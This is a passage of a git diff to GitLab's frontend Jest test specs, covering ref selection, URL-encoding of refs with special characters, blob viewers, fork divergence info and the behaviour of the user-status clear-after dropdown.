+
+ nestedElement.click();
+ });
+
+ it('removes the trigger element', async () => {
+ expect(findTrigger()).toBe(null);
+ });
+ });
});
diff --git a/spec/frontend/ref/components/ref_selector_spec.js b/spec/frontend/ref/components/ref_selector_spec.js
index 96601a729b2..4997c13bbb2 100644
--- a/spec/frontend/ref/components/ref_selector_spec.js
+++ b/spec/frontend/ref/components/ref_selector_spec.js
@@ -18,6 +18,8 @@ import {
REF_TYPE_BRANCHES,
REF_TYPE_TAGS,
REF_TYPE_COMMITS,
+ BRANCH_REF_TYPE,
+ TAG_REF_TYPE,
} from '~/ref/constants';
import createStore from '~/ref/stores/';
@@ -34,7 +36,7 @@ describe('Ref selector component', () => {
let commitApiCallSpy;
let requestSpies;
- const createComponent = (mountOverrides = {}) => {
+ const createComponent = (mountOverrides = {}, propsData = {}) => {
wrapper = mount(
RefSelector,
merge(
@@ -42,6 +44,7 @@ describe('Ref selector component', () => {
propsData: {
projectId,
value: '',
+ ...propsData,
},
listeners: {
// simulate a parent component v-model binding
@@ -338,13 +341,14 @@ describe('Ref selector component', () => {
describe('branches', () => {
describe('when the branches search returns results', () => {
beforeEach(() => {
- createComponent();
+ createComponent({}, { refType: BRANCH_REF_TYPE, useSymbolicRefNames: true });
return waitForRequests();
});
it('renders the branches section in the dropdown', () => {
expect(findBranchesSection().exists()).toBe(true);
+ expect(findBranchesSection().props('shouldShowCheck')).toBe(true);
});
it('renders the "Branches" heading with a total number indicator', () => {
@@ -415,13 +419,14 @@ describe('Ref selector component', () => {
describe('tags', () => {
describe('when the tags search returns results', () => {
beforeEach(() => {
- createComponent();
+ createComponent({}, { refType: TAG_REF_TYPE, useSymbolicRefNames: true });
return waitForRequests();
});
it('renders the tags section in the dropdown', () => {
expect(findTagsSection().exists()).toBe(true);
+ expect(findTagsSection().props('shouldShowCheck')).toBe(true);
});
it('renders the "Tags" heading with a total number indicator', () => {
diff --git a/spec/frontend/repository/commits_service_spec.js b/spec/frontend/repository/commits_service_spec.js
index de7c56f239a..e56975d021a 100644
--- a/spec/frontend/repository/commits_service_spec.js
+++ b/spec/frontend/repository/commits_service_spec.js
@@ -1,9 +1,10 @@
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
import { loadCommits, isRequested, resetRequestedCommits } from '~/repository/commits_service';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { createAlert } from '~/flash';
import { I18N_COMMIT_DATA_FETCH_ERROR } from '~/repository/constants';
+import { refWithSpecialCharMock } from './mock_data';
jest.mock('~/flash');
@@ -14,7 +15,7 @@ describe('commits service', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet(url).reply(httpStatus.OK, [], {});
+ mock.onGet(url).reply(HTTP_STATUS_OK, [], {});
jest.spyOn(axios, 'get');
});
@@ -39,10 +40,12 @@ describe('commits service', () => {
expect(axios.get).toHaveBeenCalledWith(testUrl, { params: { format: 'json', offset } });
});
- it('encodes the path correctly', async () => {
- await requestCommits(1, 'some-project', 'with $peci@l ch@rs/');
+ it('encodes the path and ref', async () => {
+ const encodedRef = encodeURIComponent(refWithSpecialCharMock);
+ const encodedUrl = `/some-project/-/refs/${encodedRef}/logs_tree/with%20%24peci%40l%20ch%40rs%2F`;
+
+ await requestCommits(1, 'some-project', 'with $peci@l ch@rs/', refWithSpecialCharMock);
- const encodedUrl = '/some-project/-/refs/main/logs_tree/with%20%24peci%40l%20ch%40rs%2F';
expect(axios.get).toHaveBeenCalledWith(encodedUrl, expect.anything());
});
@@ -68,7 +71,7 @@ describe('commits service', () => {
it('calls `createAlert` when the request fails', async () => {
const invalidPath = '/#@ some/path';
const invalidUrl = `${url}${invalidPath}`;
- mock.onGet(invalidUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR, [], {});
+ mock.onGet(invalidUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR, [], {});
await requestCommits(1, 'my-project', invalidPath);
diff --git a/spec/frontend/repository/components/blob_content_viewer_spec.js b/spec/frontend/repository/components/blob_content_viewer_spec.js
index 6ece72c41bb..2e8860f67ef 100644
--- a/spec/frontend/repository/components/blob_content_viewer_spec.js
+++ b/spec/frontend/repository/components/blob_content_viewer_spec.js
@@ -25,7 +25,7 @@ import CodeIntelligence from '~/code_navigation/components/app.vue';
import * as urlUtility from '~/lib/utils/url_utility';
import { isLoggedIn, handleLocationHash } from '~/lib/utils/common_utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import LineHighlighter from '~/blob/line_highlighter';
import { LEGACY_FILE_TYPES } from '~/repository/constants';
import { SIMPLE_BLOB_VIEWER, RICH_BLOB_VIEWER } from '~/blob/components/constants';
@@ -256,19 +256,19 @@ describe('Blob content viewer component', () => {
);
it('loads the LineHighlighter', async () => {
- mockAxios.onGet(legacyViewerUrl).replyOnce(httpStatusCodes.OK, 'test');
+ mockAxios.onGet(legacyViewerUrl).replyOnce(HTTP_STATUS_OK, 'test');
await createComponent({ blob: { ...simpleViewerMock, fileType, highlightJs } });
expect(LineHighlighter).toHaveBeenCalled();
});
it('does not load the LineHighlighter for RichViewers', async () => {
- mockAxios.onGet(legacyViewerUrl).replyOnce(httpStatusCodes.OK, 'test');
+ mockAxios.onGet(legacyViewerUrl).replyOnce(HTTP_STATUS_OK, 'test');
await createComponent({ blob: { ...richViewerMock, fileType, highlightJs } });
expect(LineHighlighter).not.toHaveBeenCalled();
});
it('scrolls to the hash', async () => {
- mockAxios.onGet(legacyViewerUrl).replyOnce(httpStatusCodes.OK, 'test');
+ mockAxios.onGet(legacyViewerUrl).replyOnce(HTTP_STATUS_OK, 'test');
await createComponent({ blob: { ...simpleViewerMock, fileType, highlightJs } });
expect(handleLocationHash).toHaveBeenCalled();
});
@@ -368,7 +368,7 @@ describe('Blob content viewer component', () => {
it('does not load a CodeIntelligence component when no viewers are loaded', async () => {
const url = 'some_file.js?format=json&viewer=rich';
- mockAxios.onGet(url).replyOnce(httpStatusCodes.INTERNAL_SERVER_ERROR);
+ mockAxios.onGet(url).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
await createComponent({ blob: { ...richViewerMock, fileType: 'unknown' } });
expect(findCodeIntelligence().exists()).toBe(false);
diff --git a/spec/frontend/repository/components/blob_viewers/notebook_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/notebook_viewer_spec.js
new file mode 100644
index 00000000000..51f3d31ec72
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/notebook_viewer_spec.js
@@ -0,0 +1,40 @@
+import { GlLoadingIcon } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import NotebookViewer from '~/repository/components/blob_viewers/notebook_viewer.vue';
+import notebookLoader from '~/blob/notebook';
+
+jest.mock('~/blob/notebook');
+
+describe('Notebook Viewer', () => {
+ let wrapper;
+
+ const ROOT_RELATIVE_PATH = '/some/notebook/';
+ const DEFAULT_BLOB_DATA = { rawPath: `${ROOT_RELATIVE_PATH}file.ipynb` };
+
+ const createComponent = () => {
+ wrapper = shallowMountExtended(NotebookViewer, {
+ propsData: { blob: DEFAULT_BLOB_DATA },
+ });
+ };
+
+ const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findNotebookWrapper = () => wrapper.findByTestId('notebook');
+
+ beforeEach(() => createComponent());
+
+ it('calls the notebook loader', () => {
+ expect(notebookLoader).toHaveBeenCalledWith({
+ el: wrapper.vm.$refs.viewer,
+ relativeRawPath: ROOT_RELATIVE_PATH,
+ });
+ });
+
+ it('renders a loading icon component', () => {
+ expect(findLoadingIcon().props('size')).toBe('lg');
+ });
+
+ it('renders the notebook wrapper', () => {
+ expect(findNotebookWrapper().exists()).toBe(true);
+ expect(findNotebookWrapper().attributes('data-endpoint')).toBe(DEFAULT_BLOB_DATA.rawPath);
+ });
+});
diff --git a/spec/frontend/repository/components/blob_viewers/openapi_viewer_spec.js b/spec/frontend/repository/components/blob_viewers/openapi_viewer_spec.js
new file mode 100644
index 00000000000..21994d04076
--- /dev/null
+++ b/spec/frontend/repository/components/blob_viewers/openapi_viewer_spec.js
@@ -0,0 +1,30 @@
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import OpenapiViewer from '~/repository/components/blob_viewers/openapi_viewer.vue';
+import renderOpenApi from '~/blob/openapi';
+
+jest.mock('~/blob/openapi');
+
+describe('OpenAPI Viewer', () => {
+ let wrapper;
+
+ const DEFAULT_BLOB_DATA = { rawPath: 'some/openapi.yml' };
+
+ const createOpenApiViewer = () => {
+ wrapper = shallowMountExtended(OpenapiViewer, {
+ propsData: { blob: DEFAULT_BLOB_DATA },
+ });
+ };
+
+ const findOpenApiViewer = () => wrapper.findByTestId('openapi');
+
+ beforeEach(() => createOpenApiViewer());
+
+ it('calls the openapi render', () => {
+ expect(renderOpenApi).toHaveBeenCalledWith(wrapper.vm.$refs.viewer);
+ });
+
+ it('renders an openapi viewer', () => {
+ expect(findOpenApiViewer().exists()).toBe(true);
+ expect(findOpenApiViewer().attributes('data-endpoint')).toBe(DEFAULT_BLOB_DATA.rawPath);
+ });
+});
diff --git a/spec/frontend/repository/components/fork_info_spec.js b/spec/frontend/repository/components/fork_info_spec.js
new file mode 100644
index 00000000000..c23d5ae5823
--- /dev/null
+++ b/spec/frontend/repository/components/fork_info_spec.js
@@ -0,0 +1,122 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { GlSkeletonLoader, GlIcon, GlLink } from '@gitlab/ui';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { createAlert } from '~/flash';
+
+import ForkInfo, { i18n } from '~/repository/components/fork_info.vue';
+import forkDetailsQuery from '~/repository/queries/fork_details.query.graphql';
+import { propsForkInfo } from '../mock_data';
+
+jest.mock('~/flash');
+
+describe('ForkInfo component', () => {
+ let wrapper;
+ let mockResolver;
+ const forkInfoError = new Error('Something went wrong');
+
+ Vue.use(VueApollo);
+
+ const createCommitData = ({ ahead = 3, behind = 7 }) => {
+ return {
+ data: {
+ project: { id: '1', forkDetails: { ahead, behind, __typename: 'ForkDetails' } },
+ },
+ };
+ };
+
+ const createComponent = (props = {}, data = {}, isRequestFailed = false) => {
+ mockResolver = isRequestFailed
+ ? jest.fn().mockRejectedValue(forkInfoError)
+ : jest.fn().mockResolvedValue(createCommitData(data));
+
+ wrapper = shallowMountExtended(ForkInfo, {
+ apolloProvider: createMockApollo([[forkDetailsQuery, mockResolver]]),
+ propsData: { ...propsForkInfo, ...props },
+ });
+ return waitForPromises();
+ };
+
+ const findLink = () => wrapper.findComponent(GlLink);
+ const findSkeleton = () => wrapper.findComponent(GlSkeletonLoader);
+ const findIcon = () => wrapper.findComponent(GlIcon);
+ const findDivergenceMessage = () => wrapper.find('.gl-text-secondary');
+ const findInaccessibleMessage = () => wrapper.findByTestId('inaccessible-project');
+ it('displays a skeleton while loading data', async () => {
+ createComponent();
+ expect(findSkeleton().exists()).toBe(true);
+ });
+
+ it('does not display skeleton when data is loaded', async () => {
+ await createComponent();
+ expect(findSkeleton().exists()).toBe(false);
+ });
+
+ it('renders fork icon', async () => {
+ await createComponent();
+ expect(findIcon().exists()).toBe(true);
+ });
+
+ it('queries the data when sourceName is present', async () => {
+ await createComponent();
+ expect(mockResolver).toHaveBeenCalled();
+ });
+
+ it('does not query the data when sourceName is empty', async () => {
+ await createComponent({ sourceName: null });
+ expect(mockResolver).not.toHaveBeenCalled();
+ });
+
+ it('renders inaccessible message when fork source is not available', async () => {
+ await createComponent({ sourceName: '' });
+ const message = findInaccessibleMessage();
+ expect(message.exists()).toBe(true);
+ expect(message.text()).toBe(i18n.inaccessibleProject);
+ });
+
+ it('shows source project name with a link to a repo', async () => {
+ await createComponent();
+ const link = findLink();
+ expect(link.text()).toBe(propsForkInfo.sourceName);
+ expect(link.attributes('href')).toBe(propsForkInfo.sourcePath);
+ });
+
+ it('renders unknown divergence message when divergence is unknown', async () => {
+ await createComponent({}, { ahead: null, behind: null });
+ expect(findDivergenceMessage().text()).toBe(i18n.unknown);
+ });
+
+ it('shows correct divergence message when data is present', async () => {
+ await createComponent();
+ expect(findDivergenceMessage().text()).toMatchInterpolatedText(
+ '7 commits behind, 3 commits ahead of the upstream repository.',
+ );
+ });
+
+ it('renders up to date message when divergence is unknown', async () => {
+ await createComponent({}, { ahead: 0, behind: 0 });
+ expect(findDivergenceMessage().text()).toBe(i18n.upToDate);
+ });
+
+ it('renders commits ahead message', async () => {
+ await createComponent({}, { behind: 0 });
+ expect(findDivergenceMessage().text()).toBe('3 commits ahead of the upstream repository.');
+ });
+
+ it('renders commits behind message', async () => {
+ await createComponent({}, { ahead: 0 });
+
+ expect(findDivergenceMessage().text()).toBe('7 commits behind the upstream repository.');
+ });
+
+ it('renders alert with error message when request fails', async () => {
+ await createComponent({}, {}, true);
+ expect(createAlert).toHaveBeenCalledWith({
+ message: i18n.error,
+ captureError: true,
+ error: forkInfoError,
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/new_directory_modal_spec.js b/spec/frontend/repository/components/new_directory_modal_spec.js
index cf0d48280f4..4e5c9a685c4 100644
--- a/spec/frontend/repository/components/new_directory_modal_spec.js
+++ b/spec/frontend/repository/components/new_directory_modal_spec.js
@@ -5,7 +5,7 @@ import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import { createAlert } from '~/flash';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { visitUrl } from '~/lib/utils/url_utility';
import NewDirectoryModal from '~/repository/components/new_directory_modal.vue';
@@ -149,7 +149,7 @@ describe('NewDirectoryModal', () => {
originalBranch,
createNewMr,
} = defaultFormValue;
- mock.onPost(initialProps.path).reply(httpStatusCodes.OK, {});
+ mock.onPost(initialProps.path).reply(HTTP_STATUS_OK, {});
await fillForm();
await submitForm();
@@ -161,7 +161,7 @@ describe('NewDirectoryModal', () => {
});
it('does not submit "create_merge_request" formData if createNewMr is not checked', async () => {
- mock.onPost(initialProps.path).reply(httpStatusCodes.OK, {});
+ mock.onPost(initialProps.path).reply(HTTP_STATUS_OK, {});
await fillForm({ createNewMr: false });
await submitForm();
expect(mock.history.post[0].data.get('create_merge_request')).toBeNull();
@@ -169,7 +169,7 @@ describe('NewDirectoryModal', () => {
it('redirects to the new directory', async () => {
const response = { filePath: 'new-dir-path' };
- mock.onPost(initialProps.path).reply(httpStatusCodes.OK, response);
+ mock.onPost(initialProps.path).reply(HTTP_STATUS_OK, response);
await fillForm({ dirName: 'foo', branchName: 'master', commitMessage: 'foo' });
await submitForm();
diff --git a/spec/frontend/repository/components/tree_content_spec.js b/spec/frontend/repository/components/tree_content_spec.js
index 6eea66f1a7d..f694c8e9166 100644
--- a/spec/frontend/repository/components/tree_content_spec.js
+++ b/spec/frontend/repository/components/tree_content_spec.js
@@ -5,19 +5,25 @@ import FilePreview from '~/repository/components/preview/index.vue';
import FileTable from '~/repository/components/table/index.vue';
import TreeContent from 'jh_else_ce/repository/components/tree_content.vue';
import { loadCommits, isRequested, resetRequestedCommits } from '~/repository/commits_service';
+import waitForPromises from 'helpers/wait_for_promises';
+import { createAlert } from '~/flash';
+import { i18n } from '~/repository/constants';
+import { graphQLErrors } from '../mock_data';
jest.mock('~/repository/commits_service', () => ({
loadCommits: jest.fn(() => Promise.resolve()),
isRequested: jest.fn(),
resetRequestedCommits: jest.fn(),
}));
+jest.mock('~/flash');
let vm;
let $apollo;
+const mockResponse = jest.fn().mockReturnValue(Promise.resolve({ data: {} }));
-function factory(path, data = () => ({})) {
+function factory(path, appoloMockResponse = mockResponse) {
$apollo = {
- query: jest.fn().mockReturnValue(Promise.resolve({ data: data() })),
+ query: appoloMockResponse,
};
vm = shallowMount(TreeContent, {
@@ -222,4 +228,17 @@ describe('Repository table component', () => {
expect(loadCommits.mock.calls).toEqual([['', path, '', 0]]);
});
});
+
+ describe('error handling', () => {
+ const gitalyError = { graphQLErrors };
+ it.each`
+ error | message
+ ${gitalyError} | ${i18n.gitalyError}
+ ${'Error'} | ${i18n.generalError}
+ `('should show an expected error', async ({ error, message }) => {
+ factory('/', jest.fn().mockRejectedValue(error));
+ await waitForPromises();
+ expect(createAlert).toHaveBeenCalledWith({ message, captureError: true });
+ });
+ });
});
diff --git a/spec/frontend/repository/components/upload_blob_modal_spec.js b/spec/frontend/repository/components/upload_blob_modal_spec.js
index 8db169b02b4..9de0666f27a 100644
--- a/spec/frontend/repository/components/upload_blob_modal_spec.js
+++ b/spec/frontend/repository/components/upload_blob_modal_spec.js
@@ -5,7 +5,7 @@ import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
import waitForPromises from 'helpers/wait_for_promises';
import { createAlert } from '~/flash';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { visitUrl } from '~/lib/utils/url_utility';
import UploadBlobModal from '~/repository/components/upload_blob_modal.vue';
import UploadDropzone from '~/vue_shared/components/upload_dropzone/upload_dropzone.vue';
@@ -158,7 +158,7 @@ describe('UploadBlobModal', () => {
describe('successful response', () => {
beforeEach(async () => {
mock = new MockAdapter(axios);
- mock.onPost(initialProps.path).reply(httpStatusCodes.OK, { filePath: 'blah' });
+ mock.onPost(initialProps.path).reply(HTTP_STATUS_OK, { filePath: 'blah' });
findModal().vm.$emit('primary', mockEvent);
diff --git a/spec/frontend/repository/mock_data.js b/spec/frontend/repository/mock_data.js
index cda47a5b0a5..d85434a9148 100644
--- a/spec/frontend/repository/mock_data.js
+++ b/spec/frontend/repository/mock_data.js
@@ -87,6 +87,8 @@ export const applicationInfoMock = { gitpodEnabled: true };
export const propsMock = { path: 'some_file.js', projectPath: 'some/path' };
export const refMock = 'default-ref';
+export const refWithSpecialCharMock = 'feat/selected-#-ref-#';
+export const encodedRefWithSpecialCharMock = 'feat/selected-%23-ref-%23';
export const blobControlsDataMock = {
id: '1234',
@@ -106,3 +108,19 @@ export const blobControlsDataMock = {
},
},
};
+
+export const graphQLErrors = [
+ {
+ message: '14:failed to connect to all addresses.',
+ locations: [{ line: 16, column: 7 }],
+ path: ['project', 'repository', 'paginatedTree'],
+ extensions: { code: 'unavailable', gitaly_code: 14, service: 'git' },
+ },
+];
+
+export const propsForkInfo = {
+ projectPath: 'nataliia/myGitLab',
+ selectedRef: 'main',
+ sourceName: 'gitLab',
+ sourcePath: 'gitlab-org/gitlab',
+};
diff --git a/spec/frontend/repository/utils/ref_switcher_utils_spec.js b/spec/frontend/repository/utils/ref_switcher_utils_spec.js
index 3335059554f..4d0250fffbf 100644
--- a/spec/frontend/repository/utils/ref_switcher_utils_spec.js
+++ b/spec/frontend/repository/utils/ref_switcher_utils_spec.js
@@ -1,5 +1,6 @@
import { generateRefDestinationPath } from '~/repository/utils/ref_switcher_utils';
import setWindowLocation from 'helpers/set_window_location_helper';
+import { refWithSpecialCharMock, encodedRefWithSpecialCharMock } from '../mock_data';
const projectRootPath = 'root/Project1';
const currentRef = 'main';
@@ -19,4 +20,10 @@ describe('generateRefDestinationPath', () => {
setWindowLocation(currentPath);
expect(generateRefDestinationPath(projectRootPath, selectedRef)).toBe(result);
});
+
+ it('encodes the selected ref', () => {
+ const result = `${projectRootPath}/-/tree/${encodedRefWithSpecialCharMock}`;
+
+ expect(generateRefDestinationPath(projectRootPath, refWithSpecialCharMock)).toBe(result);
+ });
});
diff --git a/spec/frontend/search/store/utils_spec.js b/spec/frontend/search/store/utils_spec.js
index 20d764190b1..487ed7bfe03 100644
--- a/spec/frontend/search/store/utils_spec.js
+++ b/spec/frontend/search/store/utils_spec.js
@@ -5,7 +5,10 @@ import {
setFrequentItemToLS,
mergeById,
isSidebarDirty,
+ formatSearchResultCount,
+ getAggregationsUrl,
} from '~/search/store/utils';
+import { useMockLocationHelper } from 'helpers/mock_window_location_helper';
import {
MOCK_LS_KEY,
MOCK_GROUPS,
@@ -241,4 +244,23 @@ describe('Global Search Store Utils', () => {
});
});
});
+ describe('formatSearchResultCount', () => {
+ it('returns zero as string if no count is provided', () => {
+ expect(formatSearchResultCount()).toStrictEqual('0');
+ });
+ it('returns 10K string for 10000 integer', () => {
+ expect(formatSearchResultCount(10000)).toStrictEqual('10K');
+ });
+ it('returns 23K string for "23,000+" string', () => {
+ expect(formatSearchResultCount('23,000+')).toStrictEqual('23K');
+ });
+ });
+
+ describe('getAggregationsUrl', () => {
+ useMockLocationHelper();
+ it('returns zero as string if no count is provided', () => {
+ const testURL = window.location.href;
+ expect(getAggregationsUrl()).toStrictEqual(`${testURL}search/aggregations`);
+ });
+ });
});
diff --git a/spec/frontend/self_monitor/store/actions_spec.js b/spec/frontend/self_monitor/store/actions_spec.js
index 65c9d2f5f01..4c266fabea6 100644
--- a/spec/frontend/self_monitor/store/actions_spec.js
+++ b/spec/frontend/self_monitor/store/actions_spec.js
@@ -1,7 +1,7 @@
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import statusCodes, { HTTP_STATUS_ACCEPTED } from '~/lib/utils/http_status';
+import { HTTP_STATUS_ACCEPTED, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import * as actions from '~/self_monitor/store/actions';
import * as types from '~/self_monitor/store/mutation_types';
import createState from '~/self_monitor/store/state';
@@ -47,7 +47,7 @@ describe('self-monitor actions', () => {
mock.onPost(state.createProjectEndpoint).reply(HTTP_STATUS_ACCEPTED, {
job_id: '123',
});
- mock.onGet(state.createProjectStatusEndpoint).reply(statusCodes.OK, {
+ mock.onGet(state.createProjectStatusEndpoint).reply(HTTP_STATUS_OK, {
project_full_path: '/self-monitor-url',
});
});
@@ -154,7 +154,7 @@ describe('self-monitor actions', () => {
mock.onDelete(state.deleteProjectEndpoint).reply(HTTP_STATUS_ACCEPTED, {
job_id: '456',
});
- mock.onGet(state.deleteProjectStatusEndpoint).reply(statusCodes.OK, {
+ mock.onGet(state.deleteProjectStatusEndpoint).reply(HTTP_STATUS_OK, {
status: 'success',
});
});
diff --git a/spec/frontend/set_status_modal/set_status_form_spec.js b/spec/frontend/set_status_modal/set_status_form_spec.js
index 486e06d2906..df740d4a431 100644
--- a/spec/frontend/set_status_modal/set_status_form_spec.js
+++ b/spec/frontend/set_status_modal/set_status_form_spec.js
@@ -1,12 +1,15 @@
import $ from 'jquery';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import { useFakeDate } from 'helpers/fake_date';
import SetStatusForm from '~/set_status_modal/set_status_form.vue';
+import { NEVER_TIME_RANGE } from '~/set_status_modal/constants';
import EmojiPicker from '~/emoji/components/picker.vue';
import { timeRanges } from '~/vue_shared/constants';
-import { sprintf } from '~/locale';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
+const [thirtyMinutes, , , oneDay] = timeRanges;
+
describe('SetStatusForm', () => {
let wrapper;
@@ -73,17 +76,71 @@ describe('SetStatusForm', () => {
});
});
- describe('when clear status after is set', () => {
- it('displays value in dropdown toggle button', async () => {
- const clearStatusAfter = timeRanges[0];
+ describe('clear status after dropdown toggle button text', () => {
+ useFakeDate(2022, 11, 5);
- await createComponent({
- propsData: {
- clearStatusAfter,
- },
+ describe('when clear status after has previously been set', () => {
+ describe('when date is today', () => {
+ it('displays time that status will clear', async () => {
+ await createComponent({
+ propsData: {
+ currentClearStatusAfter: '2022-12-05 11:00:00 UTC',
+ },
+ });
+
+ expect(wrapper.findByRole('button', { name: '11:00am' }).exists()).toBe(true);
+ });
});
- expect(wrapper.findByRole('button', { name: clearStatusAfter.label }).exists()).toBe(true);
+ describe('when date is not today', () => {
+ it('displays date and time that status will clear', async () => {
+ await createComponent({
+ propsData: {
+ currentClearStatusAfter: '2022-12-06 11:00:00 UTC',
+ },
+ });
+
+ expect(wrapper.findByRole('button', { name: 'Dec 6, 2022 11:00am' }).exists()).toBe(true);
+ });
+ });
+
+ describe('when a new option is choose from the dropdown', () => {
+ describe('when chosen option is today', () => {
+ it('displays chosen option as time', async () => {
+ await createComponent({
+ propsData: {
+ clearStatusAfter: thirtyMinutes,
+ currentClearStatusAfter: '2022-12-05 11:00:00 UTC',
+ },
+ });
+
+ expect(wrapper.findByRole('button', { name: '12:30am' }).exists()).toBe(true);
+ });
+ });
+
+ describe('when chosen option is not today', () => {
+ it('displays chosen option as date and time', async () => {
+ await createComponent({
+ propsData: {
+ clearStatusAfter: oneDay,
+ currentClearStatusAfter: '2022-12-06 11:00:00 UTC',
+ },
+ });
+
+ expect(wrapper.findByRole('button', { name: 'Dec 6, 2022 12:00am' }).exists()).toBe(
+ true,
+ );
+ });
+ });
+ });
+ });
+
+ describe('when clear status after has not been set', () => {
+ it('displays `Never`', async () => {
+ await createComponent();
+
+ expect(wrapper.findByRole('button', { name: NEVER_TIME_RANGE.label }).exists()).toBe(true);
+ });
});
});
@@ -131,7 +188,7 @@ describe('SetStatusForm', () => {
await wrapper.findByTestId('thirtyMinutes').trigger('click');
- expect(wrapper.emitted('clear-status-after-click')).toEqual([[timeRanges[0]]]);
+ expect(wrapper.emitted('clear-status-after-click')).toEqual([[thirtyMinutes]]);
});
});
@@ -150,20 +207,4 @@ describe('SetStatusForm', () => {
expect(wrapper.findByTestId('no-emoji-placeholder').exists()).toBe(true);
});
});
-
- describe('when `currentClearStatusAfter` prop is set', () => {
- it('displays clear status message', async () => {
- const date = '2022-08-25 21:14:48 UTC';
-
- await createComponent({
- propsData: {
- currentClearStatusAfter: date,
- },
- });
-
- expect(
- wrapper.findByText(sprintf(SetStatusForm.i18n.clearStatusAfterMessage, { date })).exists(),
- ).toBe(true);
- });
- });
});
diff --git a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
index 53d2a9e0978..85cd8d51272 100644
--- a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
+++ b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
@@ -1,6 +1,7 @@
import { GlModal, GlFormCheckbox } from '@gitlab/ui';
import { nextTick } from 'vue';
import { mountExtended } from 'helpers/vue_test_utils_helper';
+import { useFakeDate } from 'helpers/fake_date';
import { initEmojiMock, clearEmojiMock } from 'helpers/emoji';
import * as UserApi from '~/api/user_api';
import EmojiPicker from '~/emoji/components/picker.vue';
@@ -56,7 +57,6 @@ describe('SetStatusModalWrapper', () => {
wrapper.findByPlaceholderText(SetStatusForm.i18n.statusMessagePlaceholder);
const findClearStatusButton = () => wrapper.find('.js-clear-user-status-button');
const findAvailabilityCheckbox = () => wrapper.findComponent(GlFormCheckbox);
- const findClearStatusAtMessage = () => wrapper.find('[data-testid="clear-status-at-message"]');
const getEmojiPicker = () => wrapper.findComponent(EmojiPickerStub);
const initModal = async ({ mockOnUpdateSuccess = true, mockOnUpdateFailure = true } = {}) => {
@@ -103,10 +103,6 @@ describe('SetStatusModalWrapper', () => {
expect(wrapper.find('[data-testid="clear-status-at-dropdown"]').exists()).toBe(true);
});
- it('does not display the clear status at message', () => {
- expect(findClearStatusAtMessage().exists()).toBe(false);
- });
-
it('renders emoji picker dropdown with custom positioning', () => {
expect(getEmojiPicker().props()).toMatchObject({
right: false,
@@ -138,17 +134,16 @@ describe('SetStatusModalWrapper', () => {
});
describe('with currentClearStatusAfter set', () => {
+ useFakeDate(2022, 11, 5);
+
beforeEach(async () => {
await initEmojiMock();
- wrapper = createComponent({ currentClearStatusAfter: '2021-01-01 00:00:00 UTC' });
+ wrapper = createComponent({ currentClearStatusAfter: '2022-12-06 11:00:00 UTC' });
return initModal();
});
- it('displays the clear status at message', () => {
- const clearStatusAtMessage = findClearStatusAtMessage();
-
- expect(clearStatusAtMessage.exists()).toBe(true);
- expect(clearStatusAtMessage.text()).toBe('Your status resets on 2021-01-01 00:00:00 UTC.');
+ it('displays date and time that status will expire in dropdown toggle button', () => {
+ expect(wrapper.findByRole('button', { name: 'Dec 6, 2022 11:00am' }).exists()).toBe(true);
});
});
@@ -170,33 +165,33 @@ describe('SetStatusModalWrapper', () => {
});
it('clicking "setStatus" submits the user status', async () => {
- findModal().vm.$emit('primary');
- await nextTick();
-
// set the availability status
findAvailabilityCheckbox().vm.$emit('input', true);
// set the currentClearStatusAfter to 30 minutes
- wrapper.find('[data-testid="thirtyMinutes"]').trigger('click');
+ await wrapper.find('[data-testid="thirtyMinutes"]').trigger('click');
findModal().vm.$emit('primary');
await nextTick();
- const commonParams = {
+ expect(UserApi.updateUserStatus).toHaveBeenCalledWith({
+ availability: AVAILABILITY_STATUS.BUSY,
+ clearStatusAfter: '30_minutes',
emoji: defaultEmoji,
message: defaultMessage,
- };
-
- expect(UserApi.updateUserStatus).toHaveBeenCalledTimes(2);
- expect(UserApi.updateUserStatus).toHaveBeenNthCalledWith(1, {
- availability: AVAILABILITY_STATUS.NOT_SET,
- clearStatusAfter: null,
- ...commonParams,
});
- expect(UserApi.updateUserStatus).toHaveBeenNthCalledWith(2, {
- availability: AVAILABILITY_STATUS.BUSY,
- clearStatusAfter: '30_minutes',
- ...commonParams,
+ });
+
+ describe('when `Clear status after` field has not been set', () => {
+ it('does not include `clearStatusAfter` in API request', async () => {
+ findModal().vm.$emit('primary');
+ await nextTick();
+
+ expect(UserApi.updateUserStatus).toHaveBeenCalledWith({
